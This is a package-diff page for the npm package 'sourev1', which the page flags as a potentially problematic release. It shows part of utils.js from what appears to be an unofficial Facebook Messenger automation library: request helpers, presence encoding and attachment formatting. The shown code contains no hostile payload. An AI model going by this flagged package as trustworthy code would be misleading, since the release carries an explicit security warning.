sourev1 0.0.1-security → 1.2.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of sourev1 might be problematic. Click here for more details.

Files changed (85) hide show
  1. package/CHANGELOG.md +2 -0
  2. package/DOCS.md +1738 -0
  3. package/Extra/Database/index.js +398 -0
  4. package/Extra/Database/methods.js +286 -0
  5. package/Extra/Database/test/test.js +23 -0
  6. package/Extra/ExtraAddons.js +213 -0
  7. package/Extra/ExtraFindUID.js +48 -0
  8. package/Extra/ExtraGetThread.js +1 -0
  9. package/Extra/ExtraTranslate.js +62 -0
  10. package/Extra/ExtraUptimeRobot.js +3 -0
  11. package/Extra/Src/Last-Run.js +48 -0
  12. package/LICENSE-MIT +21 -0
  13. package/Language/index.json +149 -0
  14. package/README.md +132 -3
  15. package/Settings/Location.json +24 -0
  16. package/StateCrypt.js +22 -0
  17. package/broadcast.js +38 -0
  18. package/index.js +1071 -0
  19. package/logger.js +20 -0
  20. package/package.json +83 -3
  21. package/src/Dev_ChangeUptimeStatus.js +27 -0
  22. package/src/Dev_CheckLogin.js +14 -0
  23. package/src/addExternalModule.js +16 -0
  24. package/src/addUserToGroup.js +78 -0
  25. package/src/changeAdminStatus.js +79 -0
  26. package/src/changeArchivedStatus.js +41 -0
  27. package/src/changeBio.js +65 -0
  28. package/src/changeBlockedStatus.js +36 -0
  29. package/src/changeGroupImage.js +106 -0
  30. package/src/changeNickname.js +45 -0
  31. package/src/changeThreadColor.js +62 -0
  32. package/src/changeThreadEmoji.js +42 -0
  33. package/src/createNewGroup.js +70 -0
  34. package/src/createPoll.js +60 -0
  35. package/src/deleteMessage.js +45 -0
  36. package/src/deleteThread.js +43 -0
  37. package/src/forwardAttachment.js +48 -0
  38. package/src/getAccessToken.js +32 -0
  39. package/src/getCurrentUserID.js +7 -0
  40. package/src/getEmojiUrl.js +27 -0
  41. package/src/getFriendsList.js +73 -0
  42. package/src/getMessage.js +80 -0
  43. package/src/getThreadHistory.js +537 -0
  44. package/src/getThreadHistoryDeprecated.js +71 -0
  45. package/src/getThreadInfo.js +191 -0
  46. package/src/getThreadInfoDeprecated.js +56 -0
  47. package/src/getThreadList.js +213 -0
  48. package/src/getThreadListDeprecated.js +46 -0
  49. package/src/getThreadPictures.js +59 -0
  50. package/src/getUID.js +52 -0
  51. package/src/getUserID.js +62 -0
  52. package/src/getUserInfo.js +65 -0
  53. package/src/getUserInfoV2.js +35 -0
  54. package/src/handleFriendRequest.js +46 -0
  55. package/src/handleMessageRequest.js +49 -0
  56. package/src/httpGet.js +49 -0
  57. package/src/httpPost.js +48 -0
  58. package/src/httpPostFormData.js +41 -0
  59. package/src/listenMqtt.js +678 -0
  60. package/src/logout.js +68 -0
  61. package/src/markAsDelivered.js +48 -0
  62. package/src/markAsRead.js +70 -0
  63. package/src/markAsReadAll.js +43 -0
  64. package/src/markAsSeen.js +51 -0
  65. package/src/muteThread.js +47 -0
  66. package/src/removeUserFromGroup.js +49 -0
  67. package/src/resolvePhotoUrl.js +37 -0
  68. package/src/searchForThread.js +43 -0
  69. package/src/sendMessage.js +334 -0
  70. package/src/sendTypingIndicator.js +80 -0
  71. package/src/setMessageReaction.js +109 -0
  72. package/src/setPostReaction.js +102 -0
  73. package/src/setTitle.js +74 -0
  74. package/src/threadColors.js +39 -0
  75. package/src/unfriend.js +43 -0
  76. package/src/unsendMessage.js +40 -0
  77. package/test/data/shareAttach.js +146 -0
  78. package/test/data/something.mov +0 -0
  79. package/test/data/test.png +0 -0
  80. package/test/data/test.txt +7 -0
  81. package/test/example-config.json +18 -0
  82. package/test/test-page.js +140 -0
  83. package/test/test.js +385 -0
  84. package/test/testv2.js +3 -0
  85. package/utils.js +1288 -0
package/utils.js ADDED
@@ -0,0 +1,1288 @@
1
+ /* eslint-disable no-undef */
2
+ /* eslint-disable no-prototype-builtins */
3
+ "use strict";
4
+
5
+ const bluebird = require("bluebird");
6
+ var request = bluebird.promisify(require("request").defaults({ jar: true }));
7
+ var stream = require("stream");
8
+ var log = require("npmlog");
9
+ var querystring = require("querystring");
10
+ var url = require("url");
11
+
12
+ function setProxy(url) {
13
+ if (typeof url == undefined) return request = bluebird.promisify(require("request").defaults({ jar: true }));
14
+ return request = bluebird.promisify(require("request").defaults({ jar: true, proxy: url }));
15
+ }
16
+
17
+ function getHeaders(url, options, ctx, customHeader) {
18
+ var headers = {
19
+ "Content-Type": "application/x-www-form-urlencoded",
20
+ Referer: "https://www.facebook.com/",
21
+ Host: url.replace("https://", "").split("/")[0],
22
+ Origin: "https://www.facebook.com",
23
+ "User-Agent": options.userAgent,
24
+ Connection: "keep-alive",
25
+ 'sec-fetch-site': 'same-origin'
26
+ };
27
+ if (customHeader) Object.assign(headers, customHeader);
28
+
29
+ if (ctx && ctx.region) headers["X-MSGR-Region"] = ctx.region;
30
+
31
+ return headers;
32
+ }
33
+
34
+ function isReadableStream(obj) {
35
+ return (
36
+ obj instanceof stream.Stream &&
37
+ (getType(obj._read) === "Function" ||
38
+ getType(obj._read) === "AsyncFunction") &&
39
+ getType(obj._readableState) === "Object"
40
+ );
41
+ }
42
+
43
+ function get(url, jar, qs, options, ctx) {
44
+ // I'm still confused about this
45
+ if (getType(qs) === "Object")
46
+ for (var prop in qs)
47
+ if (qs.hasOwnProperty(prop) && getType(qs[prop]) === "Object") qs[prop] = JSON.stringify(qs[prop]);
48
+ var op = {
49
+ headers: getHeaders(url, options, ctx),
50
+ timeout: 60000,
51
+ qs: qs,
52
+ url: url,
53
+ method: "GET",
54
+ jar: jar,
55
+ gzip: true
56
+ };
57
+
58
+ return request(op).then(function(res) {
59
+ return res[0];
60
+ });
61
+ }
62
+
63
+ function post(url, jar, form, options, ctx, customHeader) {
64
+ let headers = getHeaders(url, options);
65
+ headers['sec-fetch-site'] = 'same-origin';
66
+ var op = {
67
+ headers: headers,
68
+ timeout: 60000,
69
+ url: url,
70
+ method: "POST",
71
+ form: form,
72
+ jar: jar,
73
+ gzip: true
74
+ };
75
+
76
+ return request(op).then(function(res) {
77
+ return res[0];
78
+ });
79
+ }
80
+
81
+ function postFormData(url, jar, form, qs, options, ctx) {
82
+ var headers = getHeaders(url, options, ctx);
83
+ headers["Content-Type"] = "multipart/form-data";
84
+ var op = {
85
+ headers: headers,
86
+ timeout: 60000,
87
+ url: url,
88
+ method: "POST",
89
+ formData: form,
90
+ qs: qs,
91
+ jar: jar,
92
+ gzip: true
93
+ };
94
+
95
+ return request(op).then(function(res) {
96
+ return res[0];
97
+ });
98
+ }
99
+
100
+ function padZeros(val, len) {
101
+ val = String(val);
102
+ len = len || 2;
103
+ while (val.length < len) val = "0" + val;
104
+ return val;
105
+ }
106
+
107
+ function generateThreadingID(clientID) {
108
+ var k = Date.now();
109
+ var l = Math.floor(Math.random() * 4294967295);
110
+ var m = clientID;
111
+ return "<" + k + ":" + l + "-" + m + "@mail.projektitan.com>";
112
+ }
113
+
114
+ function binaryToDecimal(data) {
115
+ var ret = "";
116
+ while (data !== "0") {
117
+ var end = 0;
118
+ var fullName = "";
119
+ var i = 0;
120
+ for (; i < data.length; i++) {
121
+ end = 2 * end + parseInt(data[i], 10);
122
+ if (end >= 10) {
123
+ fullName += "1";
124
+ end -= 10;
125
+ } else fullName += "0";
126
+ }
127
+ ret = end.toString() + ret;
128
+ data = fullName.slice(fullName.indexOf("1"));
129
+ }
130
+ return ret;
131
+ }
132
+
133
+ function generateOfflineThreadingID() {
134
+ var ret = Date.now();
135
+ var value = Math.floor(Math.random() * 4294967295);
136
+ var str = ("0000000000000000000000" + value.toString(2)).slice(-22);
137
+ var msgs = ret.toString(2) + str;
138
+ return binaryToDecimal(msgs);
139
+ }
140
+
141
+ var h;
142
+ var i = {};
143
+ var j = {
144
+ _: "%",
145
+ A: "%2",
146
+ B: "000",
147
+ C: "%7d",
148
+ D: "%7b%22",
149
+ E: "%2c%22",
150
+ F: "%22%3a",
151
+ G: "%2c%22ut%22%3a1",
152
+ H: "%2c%22bls%22%3a",
153
+ I: "%2c%22n%22%3a%22%",
154
+ J: "%22%3a%7b%22i%22%3a0%7d",
155
+ K: "%2c%22pt%22%3a0%2c%22vis%22%3a",
156
+ L: "%2c%22ch%22%3a%7b%22h%22%3a%22",
157
+ M: "%7b%22v%22%3a2%2c%22time%22%3a1",
158
+ N: ".channel%22%2c%22sub%22%3a%5b",
159
+ O: "%2c%22sb%22%3a1%2c%22t%22%3a%5b",
160
+ P: "%2c%22ud%22%3a100%2c%22lc%22%3a0",
161
+ Q: "%5d%2c%22f%22%3anull%2c%22uct%22%3a",
162
+ R: ".channel%22%2c%22sub%22%3a%5b1%5d",
163
+ S: "%22%2c%22m%22%3a0%7d%2c%7b%22i%22%3a",
164
+ T: "%2c%22blc%22%3a1%2c%22snd%22%3a1%2c%22ct%22%3a",
165
+ U: "%2c%22blc%22%3a0%2c%22snd%22%3a1%2c%22ct%22%3a",
166
+ V: "%2c%22blc%22%3a0%2c%22snd%22%3a0%2c%22ct%22%3a",
167
+ W: "%2c%22s%22%3a0%2c%22blo%22%3a0%7d%2c%22bl%22%3a%7b%22ac%22%3a",
168
+ X: "%2c%22ri%22%3a0%7d%2c%22state%22%3a%7b%22p%22%3a0%2c%22ut%22%3a1",
169
+ Y: "%2c%22pt%22%3a0%2c%22vis%22%3a1%2c%22bls%22%3a0%2c%22blc%22%3a0%2c%22snd%22%3a1%2c%22ct%22%3a",
170
+ Z: "%2c%22sb%22%3a1%2c%22t%22%3a%5b%5d%2c%22f%22%3anull%2c%22uct%22%3a0%2c%22s%22%3a0%2c%22blo%22%3a0%7d%2c%22bl%22%3a%7b%22ac%22%3a"
171
+ };
172
+ (function() {
173
+ var l = [];
174
+ for (var m in j) {
175
+ i[j[m]] = m;
176
+ l.push(j[m]);
177
+ }
178
+ l.reverse();
179
+ h = new RegExp(l.join("|"), "g");
180
+ })();
181
+
182
+ function presenceEncode(str) {
183
+ return encodeURIComponent(str)
184
+ .replace(/([_A-Z])|%../g, function(m, n) {
185
+ return n ? "%" + n.charCodeAt(0).toString(16) : m;
186
+ })
187
+ .toLowerCase()
188
+ .replace(h, function(m) {
189
+ return i[m];
190
+ });
191
+ }
192
+
193
+ // eslint-disable-next-line no-unused-vars
194
+ function presenceDecode(str) {
195
+ return decodeURIComponent(
196
+ str.replace(/[_A-Z]/g, function(m) {
197
+ return j[m];
198
+ })
199
+ );
200
+ }
201
+
202
+ function generatePresence(userID) {
203
+ var time = Date.now();
204
+ return (
205
+ "E" +
206
+ presenceEncode(
207
+ JSON.stringify({
208
+ v: 3,
209
+ time: parseInt(time / 1000, 10),
210
+ user: userID,
211
+ state: {
212
+ ut: 0,
213
+ t2: [],
214
+ lm2: null,
215
+ uct2: time,
216
+ tr: null,
217
+ tw: Math.floor(Math.random() * 4294967295) + 1,
218
+ at: time
219
+ },
220
+ ch: {
221
+ ["p_" + userID]: 0
222
+ }
223
+ })
224
+ )
225
+ );
226
+ }
227
+
228
+ function generateAccessiblityCookie() {
229
+ var time = Date.now();
230
+ return encodeURIComponent(
231
+ JSON.stringify({
232
+ sr: 0,
233
+ "sr-ts": time,
234
+ jk: 0,
235
+ "jk-ts": time,
236
+ kb: 0,
237
+ "kb-ts": time,
238
+ hcm: 0,
239
+ "hcm-ts": time
240
+ })
241
+ );
242
+ }
243
+
244
+ function getGUID() {
245
+ /** @type {number} */
246
+ var sectionLength = Date.now();
247
+ /** @type {string} */
248
+ var id = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function(c) {
249
+ /** @type {number} */
250
+ var r = Math.floor((sectionLength + Math.random() * 16) % 16);
251
+ /** @type {number} */
252
+ sectionLength = Math.floor(sectionLength / 16);
253
+ /** @type {string} */
254
+ var _guid = (c == "x" ? r : (r & 7) | 8).toString(16);
255
+ return _guid;
256
+ });
257
+ return id;
258
+ }
259
+
260
+ function _formatAttachment(attachment1, attachment2) {
261
+ // TODO: THIS IS REALLY BAD
262
+ // This is an attempt at fixing Facebook's inconsistencies. Sometimes they give us
263
+ // two attachment objects, but sometimes only one. They each contain part of the
264
+ // data that you'd want so we merge them for convenience.
265
+ // Instead of having a bunch of if statements guarding every access to image_data,
266
+ // we set it to empty object and use the fact that it'll return undefined.
267
+ attachment2 = attachment2 || { id: "", image_data: {} };
268
+ attachment1 = attachment1.mercury ? attachment1.mercury : attachment1;
269
+ var blob = attachment1.blob_attachment;
270
+ var type =
271
+ blob && blob.__typename ? blob.__typename : attachment1.attach_type;
272
+ if (!type && attachment1.sticker_attachment) {
273
+ type = "StickerAttachment";
274
+ blob = attachment1.sticker_attachment;
275
+ } else if (!type && attachment1.extensible_attachment) {
276
+ if (
277
+ attachment1.extensible_attachment.story_attachment &&
278
+ attachment1.extensible_attachment.story_attachment.target &&
279
+ attachment1.extensible_attachment.story_attachment.target.__typename &&
280
+ attachment1.extensible_attachment.story_attachment.target.__typename === "MessageLocation"
281
+ ) type = "MessageLocation";
282
+ else type = "ExtensibleAttachment";
283
+
284
+ blob = attachment1.extensible_attachment;
285
+ }
286
+ // TODO: Determine whether "sticker", "photo", "file" etc are still used
287
+ // KEEP IN SYNC WITH getThreadHistory
288
+ switch (type) {
289
+ case "sticker":
290
+ return {
291
+ type: "sticker",
292
+ ID: attachment1.metadata.stickerID.toString(),
293
+ url: attachment1.url,
294
+
295
+ packID: attachment1.metadata.packID.toString(),
296
+ spriteUrl: attachment1.metadata.spriteURI,
297
+ spriteUrl2x: attachment1.metadata.spriteURI2x,
298
+ width: attachment1.metadata.width,
299
+ height: attachment1.metadata.height,
300
+
301
+ caption: attachment2.caption,
302
+ description: attachment2.description,
303
+
304
+ frameCount: attachment1.metadata.frameCount,
305
+ frameRate: attachment1.metadata.frameRate,
306
+ framesPerRow: attachment1.metadata.framesPerRow,
307
+ framesPerCol: attachment1.metadata.framesPerCol,
308
+
309
+ stickerID: attachment1.metadata.stickerID.toString(), // @Legacy
310
+ spriteURI: attachment1.metadata.spriteURI, // @Legacy
311
+ spriteURI2x: attachment1.metadata.spriteURI2x // @Legacy
312
+ };
313
+ case "file":
314
+ return {
315
+ type: "file",
316
+ filename: attachment1.name,
317
+ ID: attachment2.id.toString(),
318
+ url: attachment1.url,
319
+
320
+ isMalicious: attachment2.is_malicious,
321
+ contentType: attachment2.mime_type,
322
+
323
+ name: attachment1.name, // @Legacy
324
+ mimeType: attachment2.mime_type, // @Legacy
325
+ fileSize: attachment2.file_size // @Legacy
326
+ };
327
+ case "photo":
328
+ return {
329
+ type: "photo",
330
+ ID: attachment1.metadata.fbid.toString(),
331
+ filename: attachment1.fileName,
332
+ thumbnailUrl: attachment1.thumbnail_url,
333
+
334
+ previewUrl: attachment1.preview_url,
335
+ previewWidth: attachment1.preview_width,
336
+ previewHeight: attachment1.preview_height,
337
+
338
+ largePreviewUrl: attachment1.large_preview_url,
339
+ largePreviewWidth: attachment1.large_preview_width,
340
+ largePreviewHeight: attachment1.large_preview_height,
341
+
342
+ url: attachment1.metadata.url, // @Legacy
343
+ width: attachment1.metadata.dimensions.split(",")[0], // @Legacy
344
+ height: attachment1.metadata.dimensions.split(",")[1], // @Legacy
345
+ name: attachment1.fileName // @Legacy
346
+ };
347
+ case "animated_image":
348
+ return {
349
+ type: "animated_image",
350
+ ID: attachment2.id.toString(),
351
+ filename: attachment2.filename,
352
+
353
+ previewUrl: attachment1.preview_url,
354
+ previewWidth: attachment1.preview_width,
355
+ previewHeight: attachment1.preview_height,
356
+
357
+ url: attachment2.image_data.url,
358
+ width: attachment2.image_data.width,
359
+ height: attachment2.image_data.height,
360
+
361
+ name: attachment1.name, // @Legacy
362
+ facebookUrl: attachment1.url, // @Legacy
363
+ thumbnailUrl: attachment1.thumbnail_url, // @Legacy
364
+ mimeType: attachment2.mime_type, // @Legacy
365
+ rawGifImage: attachment2.image_data.raw_gif_image, // @Legacy
366
+ rawWebpImage: attachment2.image_data.raw_webp_image, // @Legacy
367
+ animatedGifUrl: attachment2.image_data.animated_gif_url, // @Legacy
368
+ animatedGifPreviewUrl: attachment2.image_data.animated_gif_preview_url, // @Legacy
369
+ animatedWebpUrl: attachment2.image_data.animated_webp_url, // @Legacy
370
+ animatedWebpPreviewUrl: attachment2.image_data.animated_webp_preview_url // @Legacy
371
+ };
372
+ case "share":
373
+ return {
374
+ type: "share",
375
+ ID: attachment1.share.share_id.toString(),
376
+ url: attachment2.href,
377
+
378
+ title: attachment1.share.title,
379
+ description: attachment1.share.description,
380
+ source: attachment1.share.source,
381
+
382
+ image: attachment1.share.media.image,
383
+ width: attachment1.share.media.image_size.width,
384
+ height: attachment1.share.media.image_size.height,
385
+ playable: attachment1.share.media.playable,
386
+ duration: attachment1.share.media.duration,
387
+
388
+ subattachments: attachment1.share.subattachments,
389
+ properties: {},
390
+
391
+ animatedImageSize: attachment1.share.media.animated_image_size, // @Legacy
392
+ facebookUrl: attachment1.share.uri, // @Legacy
393
+ target: attachment1.share.target, // @Legacy
394
+ styleList: attachment1.share.style_list // @Legacy
395
+ };
396
+ case "video":
397
+ return {
398
+ type: "video",
399
+ ID: attachment1.metadata.fbid.toString(),
400
+ filename: attachment1.name,
401
+
402
+ previewUrl: attachment1.preview_url,
403
+ previewWidth: attachment1.preview_width,
404
+ previewHeight: attachment1.preview_height,
405
+
406
+ url: attachment1.url,
407
+ width: attachment1.metadata.dimensions.width,
408
+ height: attachment1.metadata.dimensions.height,
409
+
410
+ duration: attachment1.metadata.duration,
411
+ videoType: "unknown",
412
+
413
+ thumbnailUrl: attachment1.thumbnail_url // @Legacy
414
+ };
415
+ case "error":
416
+ return {
417
+ type: "error",
418
+
419
+ // Save error attachments because we're unsure of their format,
420
+ // and whether there are cases they contain something useful for debugging.
421
+ attachment1: attachment1,
422
+ attachment2: attachment2
423
+ };
424
+ case "MessageImage":
425
+ return {
426
+ type: "photo",
427
+ ID: blob.legacy_attachment_id,
428
+ filename: blob.filename,
429
+ thumbnailUrl: blob.thumbnail.uri,
430
+
431
+ previewUrl: blob.preview.uri,
432
+ previewWidth: blob.preview.width,
433
+ previewHeight: blob.preview.height,
434
+
435
+ largePreviewUrl: blob.large_preview.uri,
436
+ largePreviewWidth: blob.large_preview.width,
437
+ largePreviewHeight: blob.large_preview.height,
438
+
439
+ url: blob.large_preview.uri, // @Legacy
440
+ width: blob.original_dimensions.x, // @Legacy
441
+ height: blob.original_dimensions.y, // @Legacy
442
+ name: blob.filename // @Legacy
443
+ };
444
+ case "MessageAnimatedImage":
445
+ return {
446
+ type: "animated_image",
447
+ ID: blob.legacy_attachment_id,
448
+ filename: blob.filename,
449
+
450
+ previewUrl: blob.preview_image.uri,
451
+ previewWidth: blob.preview_image.width,
452
+ previewHeight: blob.preview_image.height,
453
+
454
+ url: blob.animated_image.uri,
455
+ width: blob.animated_image.width,
456
+ height: blob.animated_image.height,
457
+
458
+ thumbnailUrl: blob.preview_image.uri, // @Legacy
459
+ name: blob.filename, // @Legacy
460
+ facebookUrl: blob.animated_image.uri, // @Legacy
461
+ rawGifImage: blob.animated_image.uri, // @Legacy
462
+ animatedGifUrl: blob.animated_image.uri, // @Legacy
463
+ animatedGifPreviewUrl: blob.preview_image.uri, // @Legacy
464
+ animatedWebpUrl: blob.animated_image.uri, // @Legacy
465
+ animatedWebpPreviewUrl: blob.preview_image.uri // @Legacy
466
+ };
467
+ case "MessageVideo":
468
+ return {
469
+ type: "video",
470
+ filename: blob.filename,
471
+ ID: blob.legacy_attachment_id,
472
+
473
+ previewUrl: blob.large_image.uri,
474
+ previewWidth: blob.large_image.width,
475
+ previewHeight: blob.large_image.height,
476
+
477
+ url: blob.playable_url,
478
+ width: blob.original_dimensions.x,
479
+ height: blob.original_dimensions.y,
480
+
481
+ duration: blob.playable_duration_in_ms,
482
+ videoType: blob.video_type.toLowerCase(),
483
+
484
+ thumbnailUrl: blob.large_image.uri // @Legacy
485
+ };
486
+ case "MessageAudio":
487
+ return {
488
+ type: "audio",
489
+ filename: blob.filename,
490
+ ID: blob.url_shimhash,
491
+
492
+ audioType: blob.audio_type,
493
+ duration: blob.playable_duration_in_ms,
494
+ url: blob.playable_url,
495
+
496
+ isVoiceMail: blob.is_voicemail
497
+ };
498
+ case "StickerAttachment":
499
+ return {
500
+ type: "sticker",
501
+ ID: blob.id,
502
+ url: blob.url,
503
+
504
+ packID: blob.pack ? blob.pack.id : null,
505
+ spriteUrl: blob.sprite_image,
506
+ spriteUrl2x: blob.sprite_image_2x,
507
+ width: blob.width,
508
+ height: blob.height,
509
+
510
+ caption: blob.label,
511
+ description: blob.label,
512
+
513
+ frameCount: blob.frame_count,
514
+ frameRate: blob.frame_rate,
515
+ framesPerRow: blob.frames_per_row,
516
+ framesPerCol: blob.frames_per_column,
517
+
518
+ stickerID: blob.id, // @Legacy
519
+ spriteURI: blob.sprite_image, // @Legacy
520
+ spriteURI2x: blob.sprite_image_2x // @Legacy
521
+ };
522
+ case "MessageLocation":
523
+ var urlAttach = blob.story_attachment.url;
524
+ var mediaAttach = blob.story_attachment.media;
525
+
526
+ var u = querystring.parse(url.parse(urlAttach).query).u;
527
+ var where1 = querystring.parse(url.parse(u).query).where1;
528
+ var address = where1.split(", ");
529
+
530
+ var latitude;
531
+ var longitude;
532
+
533
+ try {
534
+ latitude = Number.parseFloat(address[0]);
535
+ longitude = Number.parseFloat(address[1]);
536
+ } catch (err) {
537
+ /* empty */
538
+ }
539
+
540
+ var imageUrl;
541
+ var width;
542
+ var height;
543
+
544
+ if (mediaAttach && mediaAttach.image) {
545
+ imageUrl = mediaAttach.image.uri;
546
+ width = mediaAttach.image.width;
547
+ height = mediaAttach.image.height;
548
+ }
549
+
550
+ return {
551
+ type: "location",
552
+ ID: blob.legacy_attachment_id,
553
+ latitude: latitude,
554
+ longitude: longitude,
555
+ image: imageUrl,
556
+ width: width,
557
+ height: height,
558
+ url: u || urlAttach,
559
+ address: where1,
560
+
561
+ facebookUrl: blob.story_attachment.url, // @Legacy
562
+ target: blob.story_attachment.target, // @Legacy
563
+ styleList: blob.story_attachment.style_list // @Legacy
564
+ };
565
+ case "ExtensibleAttachment":
566
+ return {
567
+ type: "share",
568
+ ID: blob.legacy_attachment_id,
569
+ url: blob.story_attachment.url,
570
+
571
+ title: blob.story_attachment.title_with_entities.text,
572
+ description: blob.story_attachment.description &&
573
+ blob.story_attachment.description.text,
574
+ source: blob.story_attachment.source ? blob.story_attachment.source.text : null,
575
+
576
+ image: blob.story_attachment.media &&
577
+ blob.story_attachment.media.image &&
578
+ blob.story_attachment.media.image.uri,
579
+ width: blob.story_attachment.media &&
580
+ blob.story_attachment.media.image &&
581
+ blob.story_attachment.media.image.width,
582
+ height: blob.story_attachment.media &&
583
+ blob.story_attachment.media.image &&
584
+ blob.story_attachment.media.image.height,
585
+ playable: blob.story_attachment.media &&
586
+ blob.story_attachment.media.is_playable,
587
+ duration: blob.story_attachment.media &&
588
+ blob.story_attachment.media.playable_duration_in_ms,
589
+ playableUrl: blob.story_attachment.media == null ? null : blob.story_attachment.media.playable_url,
590
+
591
+ subattachments: blob.story_attachment.subattachments,
592
+ properties: blob.story_attachment.properties.reduce(function(obj, cur) {
593
+ obj[cur.key] = cur.value.text;
594
+ return obj;
595
+ }, {}),
596
+
597
+ facebookUrl: blob.story_attachment.url, // @Legacy
598
+ target: blob.story_attachment.target, // @Legacy
599
+ styleList: blob.story_attachment.style_list // @Legacy
600
+ };
601
+ case "MessageFile":
602
+ return {
603
+ type: "file",
604
+ filename: blob.filename,
605
+ ID: blob.message_file_fbid,
606
+
607
+ url: blob.url,
608
+ isMalicious: blob.is_malicious,
609
+ contentType: blob.content_type,
610
+
611
+ name: blob.filename,
612
+ mimeType: "",
613
+ fileSize: -1
614
+ };
615
+ default:
616
+ throw new Error(
617
+ "unrecognized attach_file of type " +
618
+ type +
619
+ "`" +
620
+ JSON.stringify(attachment1, null, 4) +
621
+ " attachment2: " +
622
+ JSON.stringify(attachment2, null, 4) +
623
+ "`"
624
+ );
625
+ }
626
+ }
627
+
628
+ function formatAttachment(attachments, attachmentIds, attachmentMap, shareMap) {
629
+ attachmentMap = shareMap || attachmentMap;
630
+ return attachments ?
631
+ attachments.map(function(val, i) {
632
+ if (!attachmentMap ||
633
+ !attachmentIds ||
634
+ !attachmentMap[attachmentIds[i]]
635
+ ) {
636
+ return _formatAttachment(val);
637
+ }
638
+ return _formatAttachment(val, attachmentMap[attachmentIds[i]]);
639
+ }) : [];
640
+ }
641
+
642
+ function formatDeltaMessage(m) {
643
+ var md = m.delta.messageMetadata;
644
+ var mdata =
645
+ m.delta.data === undefined ? [] :
646
+ m.delta.data.prng === undefined ? [] :
647
+ JSON.parse(m.delta.data.prng);
648
+ var m_id = mdata.map(u => u.i);
649
+ var m_offset = mdata.map(u => u.o);
650
+ var m_length = mdata.map(u => u.l);
651
+ var mentions = {};
652
+ var body = m.delta.body || "";
653
+ var args = body == "" ? [] : body.trim().split(/\s+/);
654
+ for (var i = 0; i < m_id.length; i++) mentions[m_id[i]] = m.delta.body.substring(m_offset[i], m_offset[i] + m_length[i]);
655
+
656
+ return {
657
+ type: "message",
658
+ senderID: formatID(md.actorFbId.toString()),
659
+ threadID: formatID((md.threadKey.threadFbId || md.threadKey.otherUserFbId).toString()),
660
+ messageID: md.messageId,
661
+ args: args,
662
+ body: body,
663
+ attachments: (m.delta.attachments || []).map(v => _formatAttachment(v)),
664
+ mentions: mentions,
665
+ timestamp: md.timestamp,
666
+ isGroup: !!md.threadKey.threadFbId,
667
+ participantIDs: m.delta.participants || []
668
+ };
669
+ }
670
+
671
+ function formatID(id) {
672
+ if (id != undefined && id != null) return id.replace(/(fb)?id[:.]/, "");
673
+ else return id;
674
+ }
675
+
676
+ function formatMessage(m) {
677
+ var originalMessage = m.message ? m.message : m;
678
+ var obj = {
679
+ type: "message",
680
+ senderName: originalMessage.sender_name,
681
+ senderID: formatID(originalMessage.sender_fbid.toString()),
682
+ participantNames: originalMessage.group_thread_info ? originalMessage.group_thread_info.participant_names : [originalMessage.sender_name.split(" ")[0]],
683
+ participantIDs: originalMessage.group_thread_info ?
684
+ originalMessage.group_thread_info.participant_ids.map(function(v) {
685
+ return formatID(v.toString());
686
+ }) : [formatID(originalMessage.sender_fbid)],
687
+ body: originalMessage.body || "",
688
+ threadID: formatID((originalMessage.thread_fbid || originalMessage.other_user_fbid).toString()),
689
+ threadName: originalMessage.group_thread_info ? originalMessage.group_thread_info.name : originalMessage.sender_name,
690
+ location: originalMessage.coordinates ? originalMessage.coordinates : null,
691
+ messageID: originalMessage.mid ? originalMessage.mid.toString() : originalMessage.message_id,
692
+ attachments: formatAttachment(
693
+ originalMessage.attachments,
694
+ originalMessage.attachmentIds,
695
+ originalMessage.attachment_map,
696
+ originalMessage.share_map
697
+ ),
698
+ timestamp: originalMessage.timestamp,
699
+ timestampAbsolute: originalMessage.timestamp_absolute,
700
+ timestampRelative: originalMessage.timestamp_relative,
701
+ timestampDatetime: originalMessage.timestamp_datetime,
702
+ tags: originalMessage.tags,
703
+ reactions: originalMessage.reactions ? originalMessage.reactions : [],
704
+ isUnread: originalMessage.is_unread
705
+ };
706
+
707
+ if (m.type === "pages_messaging") obj.pageID = m.realtime_viewer_fbid.toString();
708
+ obj.isGroup = obj.participantIDs.length > 2;
709
+
710
+ return obj;
711
+ }
712
+
713
+ function formatEvent(m) {
714
+ var originalMessage = m.message ? m.message : m;
715
+ var logMessageType = originalMessage.log_message_type;
716
+ var logMessageData;
717
+ if (logMessageType === "log:generic-admin-text") {
718
+ logMessageData = originalMessage.log_message_data.untypedData;
719
+ logMessageType = getAdminTextMessageType(originalMessage.log_message_data.message_type);
720
+ } else logMessageData = originalMessage.log_message_data;
721
+
722
+ return Object.assign(formatMessage(originalMessage), {
723
+ type: "event",
724
+ logMessageType: logMessageType,
725
+ logMessageData: logMessageData,
726
+ logMessageBody: originalMessage.log_message_body
727
+ });
728
+ }
729
+
730
+ function formatHistoryMessage(m) {
731
+ switch (m.action_type) {
732
+ case "ma-type:log-message":
733
+ return formatEvent(m);
734
+ default:
735
+ return formatMessage(m);
736
+ }
737
+ }
738
+
739
+ // Get a more readable message type for AdminTextMessages
740
+ function getAdminTextMessageType(m) {
741
+ switch (m.type) {
742
+ case "joinable_group_link_mode_change":
743
+ return "log:link-status"
744
+ case "magic_words":
745
+ return "log:magic-words";
746
+ case "change_thread_theme":
747
+ return "log:thread-color";
748
+ case "change_thread_icon":
749
+ return "log:thread-icon";
750
+ case "change_thread_nickname":
751
+ return "log:user-nickname";
752
+ case "change_thread_admins":
753
+ return "log:thread-admins";
754
+ case "group_poll":
755
+ return "log:thread-poll";
756
+ case "change_thread_approval_mode":
757
+ return "log:thread-approval-mode";
758
+ case "messenger_call_log":
759
+ case "participant_joined_group_call":
760
+ return "log:thread-call";
761
+ }
762
+ }
763
+
764
+ function getGenderByPhysicalMethod(name) {
765
+ var GirlName = ["LAN", "HÂN", "LINH", "MAI", "HOA", "THU", "BĂNG", "MỸ", "CHÂU", "THẢO", "THOA", "MẪN", "THÙY", "THỦY", "NGA", "NGÂN", "NGHI", "THƯ", "NGỌC", "BÍCH", "VÂN", "DIỆP", "CHI", "TIÊN", "XUÂN", "GIANG", "NHUNG", "DUNG", "NHƯ", "YẾN", "QUYÊN", "YẾN", "TƯỜNG", "VY", "PHƯƠNG", "LIÊN", "LAN", "HÀ", "MAI", "ĐAN", "HẠ", "QUYÊN", "LY", "HÒA", "OANH", "HƯƠNG", "HẰNG", "QUỲNH", "HẠNH", "NHIÊN", "NHẠN"];
766
+
767
